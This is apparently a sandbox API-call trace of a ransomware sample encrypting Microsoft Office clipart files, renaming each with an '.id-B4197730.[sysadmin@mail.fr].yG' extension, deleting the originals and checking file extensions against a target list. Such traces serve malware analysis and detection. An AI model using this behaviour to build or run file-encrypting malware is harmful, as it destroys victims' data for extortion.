	[0183.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220
	[0183.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.936] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.936] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.938] GetLastError () returned 0x0
	[0183.938] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x439c, lpOverlapped=0x0) returned 1
	[0184.298] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x43a0, lpOverlapped=0x0) returned 1
	[0184.299] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.299] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.299] SetEndOfFile (hFile=0x378) returned 1
	[0184.299] CloseHandle (hObject=0x378) returned 1
	[0184.299] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.299] SetEndOfFile (hFile=0x374) returned 1
	[0184.304] CloseHandle (hObject=0x374) returned 1
	[0184.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1
	[0184.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.305] lstrlenW (lpString=".doc") returned 4
	[0184.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.305] lstrlenW (lpString=".docx") returned 5
	[0184.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.305] lstrlenW (lpString=".pdf") returned 4
	[0184.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.306] lstrlenW (lpString=".xls") returned 4
	[0184.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.306] lstrlenW (lpString=".xlsx") returned 5
	[0184.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.306] lstrlenW (lpString=".ppt") returned 4
	[0184.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.306] lstrlenW (lpString=".zip") returned 4
	[0184.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.306] lstrlenW (lpString=".rar") returned 4
	[0184.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.306] lstrlenW (lpString=".bz2") returned 4
	[0184.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.306] lstrlenW (lpString=".7z") returned 3
	[0184.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.306] lstrlenW (lpString=".dbf") returned 4
	[0184.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.306] lstrlenW (lpString=".1cd") returned 4
	[0184.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.307] lstrlenW (lpString=".jpg") returned 4
	[0184.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.307] lstrlenW (lpString=".doc") returned 4
	[0184.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.307] lstrlenW (lpString=".docx") returned 5
	[0184.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.307] lstrlenW (lpString=".pdf") returned 4
	[0184.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.307] lstrlenW (lpString=".xls") returned 4
	[0184.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.307] lstrlenW (lpString=".xlsx") returned 5
	[0184.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.307] lstrlenW (lpString=".ppt") returned 4
	[0184.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.307] lstrlenW (lpString=".zip") returned 4
	[0184.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.307] lstrlenW (lpString=".rar") returned 4
	[0184.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.307] lstrlenW (lpString=".bz2") returned 4
	[0184.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.308] lstrlenW (lpString=".7z") returned 3
	[0184.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.308] lstrlenW (lpString=".dbf") returned 4
	[0184.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.308] lstrlenW (lpString=".1cd") returned 4
	[0184.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68
	[0184.308] lstrlenW (lpString=".jpg") returned 4
	[0184.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.308] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.308] lstrlenW (lpString="FD00297_.WMF") returned 12
	[0184.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.309] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=18194) returned 1
	[0184.309] CloseHandle (hObject=0x374) returned 1
	[0184.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220
	[0184.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.326] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.326] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0184.327] GetLastError () returned 0x0
	[0184.328] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x4712, lpOverlapped=0x0) returned 1
	[0184.333] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x4720, lpOverlapped=0x0) returned 1
	[0184.338] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.338] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.338] SetEndOfFile (hFile=0x378) returned 1
	[0184.339] CloseHandle (hObject=0x378) returned 1
	[0184.339] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.339] SetEndOfFile (hFile=0x374) returned 1
	[0184.341] CloseHandle (hObject=0x374) returned 1
	[0184.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1
	[0184.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.342] lstrlenW (lpString=".doc") returned 4
	[0184.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.343] lstrlenW (lpString=".docx") returned 5
	[0184.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.343] lstrlenW (lpString=".pdf") returned 4
	[0184.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.343] lstrlenW (lpString=".xls") returned 4
	[0184.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.343] lstrlenW (lpString=".xlsx") returned 5
	[0184.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.343] lstrlenW (lpString=".ppt") returned 4
	[0184.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.345] lstrlenW (lpString=".zip") returned 4
	[0184.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.345] lstrlenW (lpString=".rar") returned 4
	[0184.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString=".bz2") returned 4
	[0184.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString=".7z") returned 3
	[0184.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.345] lstrlenW (lpString=".dbf") returned 4
	[0184.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.345] lstrlenW (lpString=".1cd") returned 4
	[0184.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.345] lstrlenW (lpString=".jpg") returned 4
	[0184.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.345] lstrlenW (lpString=".doc") returned 4
	[0184.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString=".docx") returned 5
	[0184.345] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.345] lstrlenW (lpString=".pdf") returned 4
	[0184.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.345] lstrlenW (lpString=".xls") returned 4
	[0184.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.346] lstrlenW (lpString=".xlsx") returned 5
	[0184.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.346] lstrlenW (lpString=".ppt") returned 4
	[0184.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.346] lstrlenW (lpString=".zip") returned 4
	[0184.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.346] lstrlenW (lpString=".rar") returned 4
	[0184.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.346] lstrlenW (lpString=".bz2") returned 4
	[0184.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.346] lstrlenW (lpString=".7z") returned 3
	[0184.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.346] lstrlenW (lpString=".dbf") returned 4
	[0184.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.346] lstrlenW (lpString=".1cd") returned 4
	[0184.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68
	[0184.346] lstrlenW (lpString=".jpg") returned 4
	[0184.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.346] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.347] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0184.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.347] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=46814) returned 1
	[0184.347] CloseHandle (hObject=0x374) returned 1
	[0184.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220
	[0184.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.348] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.348] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0184.350] GetLastError () returned 0x0
	[0184.350] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0xb6de, lpOverlapped=0x0) returned 1
	[0184.352] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xb6e0, lpOverlapped=0x0) returned 1
	[0184.724] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.724] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.724] SetEndOfFile (hFile=0x378) returned 1
	[0184.724] CloseHandle (hObject=0x378) returned 1
	[0184.725] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.725] SetEndOfFile (hFile=0x374) returned 1
	[0184.726] CloseHandle (hObject=0x374) returned 1
	[0184.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1
	[0184.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.727] lstrlenW (lpString=".doc") returned 4
	[0184.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString=".docx") returned 5
	[0184.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.727] lstrlenW (lpString=".pdf") returned 4
	[0184.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.727] lstrlenW (lpString=".xls") returned 4
	[0184.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.727] lstrlenW (lpString=".xlsx") returned 5
	[0184.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.727] lstrlenW (lpString=".ppt") returned 4
	[0184.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString=".zip") returned 4
	[0184.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.728] lstrlenW (lpString=".rar") returned 4
	[0184.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString=".bz2") returned 4
	[0184.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString=".7z") returned 3
	[0184.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString=".dbf") returned 4
	[0184.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString=".1cd") returned 4
	[0184.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString=".jpg") returned 4
	[0184.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString=".doc") returned 4
	[0184.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString=".docx") returned 5
	[0184.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.728] lstrlenW (lpString=".pdf") returned 4
	[0184.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString=".xls") returned 4
	[0184.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.728] lstrlenW (lpString=".xlsx") returned 5
	[0184.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.728] lstrlenW (lpString=".ppt") returned 4
	[0184.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.728] lstrlenW (lpString=".zip") returned 4
	[0184.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.729] lstrlenW (lpString=".rar") returned 4
	[0184.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.729] lstrlenW (lpString=".bz2") returned 4
	[0184.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.729] lstrlenW (lpString=".7z") returned 3
	[0184.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.729] lstrlenW (lpString=".dbf") returned 4
	[0184.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.729] lstrlenW (lpString=".1cd") returned 4
	[0184.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0184.729] lstrlenW (lpString=".jpg") returned 4
	[0184.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.729] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.729] lstrlenW (lpString="FD00438_.WMF") returned 12
	[0184.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0184.730] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=5098) returned 1
	[0184.730] CloseHandle (hObject=0x374) returned 1
